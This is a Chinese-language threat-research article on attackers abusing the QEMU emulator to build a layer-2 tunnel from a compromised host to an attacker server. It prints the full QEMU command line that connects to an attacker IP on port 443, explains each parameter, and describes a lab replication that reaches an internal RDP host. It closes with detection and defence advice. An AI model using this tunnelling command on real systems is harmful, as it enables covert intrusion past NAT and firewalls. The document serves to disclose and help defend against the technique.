利用QEMU进行网络隧道攻击
网络攻击者倾向于使用合法工具执行攻击步骤,以规避检测并降低开发成本。建立网络隧道或转发端口是其中一种常用技术,用于绕过NAT和防火墙,访问受攻击组织的内部网络。在近年来的网络安全事件中,攻击者频繁使用多种隧道工具,如ngrok、FRP等,约占攻击总数的10%。
在一次针对大型公司的事件调查中,安全研究人员发现攻击者部署并启动了Angry IP Scanner(网络扫描工具)、mimikatz(凭据提取工具)以及QEMU硬件模拟器。分析受感染机器的内存发现,QEMU的启动命令行非常特殊:
qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=<IP>:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic
关键参数解析:
-m 1M:分配仅1MB内存,远低于运行操作系统所需,表明QEMU并非用于常规虚拟化。
-netdev user,id=lan,restrict=off:创建用户态网络后端lan,允许虚拟机通过宿主机的网络栈与外部通信,并取消连接限制。
-netdev socket,id=sock,connect=<IP>:443:创建套接字型网络后端sock,连接至攻击者控制的外部IP的443端口。
-netdev hubport:将两个网络后端(lan和sock)连接到同一个虚拟交换机(hubid=0),使流量在两者间桥接。
-nographic:无图形界面启动。
此配置的本质是利用QEMU的网络后端功能在受感染主机(PivotHost)与攻击者服务器之间建立一个二层网络隧道。攻击者无需在受感染系统上加载操作系统镜像,仅用QEMU创建一个虚拟网络环境,即可将受感染主机所在的内部网络流量隧道转发至攻击者控制的服务器。
验证实验:
研究人员搭建了测试环境,模拟攻击链:
- InternalHost:无互联网访问的内网系统(运行RDP服务)。
- PivotHost:可访问互联网的内网系统(模拟被入侵主机)。
- AttackerServer:攻击者控制的云服务器。
实验步骤:
- 在AttackerServer上,使用QEMU从Kali Linux LiveCD启动一个虚拟机,并监听443端口等待套接字连接。
- 在PivotHost上,使用与攻击者相似的QEMU参数启动一个轻量虚拟机,通过套接字连接到AttackerServer。
- 隧道建立后,AttackerServer上的Kali Linux虚拟机即可扫描PivotHost所在子网,发现了内网的InternalHost(IP: 192.168.56.109),并成功通过RDP连接至其3389端口。
流量分析:
QEMU在隧道中传输数据时不进行加密。传输的是封装的原始以太网帧,其结构为:4字节帧长度字段 + 以太网帧本身。因此,通过抓取PivotHost上的流量并移除外层封装(TCP/IP头及长度字段),即可提取出隧道内的原始流量。
结论与防护:
攻击者创新性地将QEMU这一合法虚拟化工具用于建立隐蔽的网络隧道,这对传统防御体系提出了挑战。有效的防护需要多层次的综合安全方案,包括:
- 可靠的端点防护(EPP)。
- 24/7的网络监控(NDR, NGFW)和端点检测与响应(EDR)。
- 专业安全运营中心(SOC)进行异常监测。
安全厂商已将此类可疑QEMU活动纳入检测范围(如Backdoor.Agent.QEMU.C&C规则),以实现在攻击初期的及时阻断。